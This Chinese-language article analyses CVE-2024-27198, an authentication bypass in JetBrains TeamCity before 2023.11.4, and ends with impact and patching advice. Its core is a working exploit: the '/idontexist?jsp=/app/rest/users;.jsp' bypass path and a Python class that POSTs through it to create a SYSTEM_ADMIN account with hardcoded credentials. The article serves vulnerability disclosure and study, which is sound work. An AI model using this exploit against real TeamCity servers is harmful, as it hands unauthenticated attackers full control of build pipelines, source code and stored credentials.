JetBrains TeamCity 2023.11.4 认证绕过漏洞利用
漏洞概述
JetBrains TeamCity 在2023.11.4之前的版本中存在一个关键的身份验证绕过漏洞(CVE-2024-27198)。该漏洞允许未经身份验证的攻击者执行管理操作,通过利用JSP处理机制中的路径遍历技术结合REST API端点来绕过身份验证。
技术细节
该漏洞的核心在于TeamCity服务器对特定格式的URL请求处理不当。攻击者可以通过访问以下格式的URL来绕过所有认证检查:
1
|
/idontexist?jsp=/app/rest/users;.jsp
|
当服务器接收到这种请求时,由于路径解析逻辑的缺陷,它不会对后续的REST API端点执行适当的身份验证检查。
利用脚本分析
以下是完整的Python漏洞利用脚本,演示了如何利用此漏洞创建具有系统管理员权限的新用户。
脚本头部信息
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
Date: 2024-02-21
Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
Vendor Homepage: https://www.jetbrains.com/teamcity/
Version: < 2023.11.4
CVE: CVE-2024-27198
CVSS Score: 9.8 (Critical)
Description: JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass vulnerability that allows unauthenticated attackers to perform administrative actions.
Requirements: requests>=2.25.1
"""
|
主要攻击类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
class TeamCityExploit:
def __init__(self, target_url, timeout=15, verbose=False):
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
def exploit_authentication_bypass(self):
# 构造恶意路径
exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
full_url = f"{self.target_url}{exploit_path}"
# 请求头设置
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*"
}
# 恶意负载 - 创建管理员用户
payload = {
"username": "ibrahimsql",
"password": "ibrahimsql",
"email": "ibrahimsql@exploit.local",
"roles": {
"role": [{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}]
}
}
# 发送恶意请求
response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
if response.status_code == 200:
print("[SUCCESS] Admin user created!")
print(f"Username: ibrahimsql")
print(f"Password: ibrahimsql")
print(f"Login URL: {self.target_url}/login.html")
return True
|
漏洞利用流程
- 目标验证:首先检查目标TeamCity服务器是否可达
- 构建攻击URL:使用特定的路径遍历格式构造恶意URL
- 发送恶意请求:向目标服务器发送包含管理员用户创建请求的POST请求
- 结果验证:根据服务器响应判断攻击是否成功
安全影响
此漏洞的CVSS评分为9.8分(严重级别),影响范围包括所有2023.11.4版本之前的JetBrains TeamCity实例。成功利用此漏洞的攻击者可以:
- 创建具有系统管理员权限的新用户
- 完全控制CI/CD流水线和构建过程
- 访问敏感源代码和凭据
- 篡改构建结果,注入恶意代码
修复建议
- 立即升级:将所有TeamCity实例升级到2023.11.4或更高版本
- 网络隔离:限制对TeamCity服务器的网络访问,仅允许可信IP访问
- 监控审计:加强对用户创建和管理活动的日志监控
- 定期更新:建立定期的安全更新机制,及时应用补丁
总结
CVE-2024-27198是一个严重的安全漏洞,凸显了在复杂应用程序中路径处理和身份验证逻辑可能存在的缺陷。开发和安全团队必须保持软件更新,并实施深度防御策略来保护关键的CI/CD基础设施。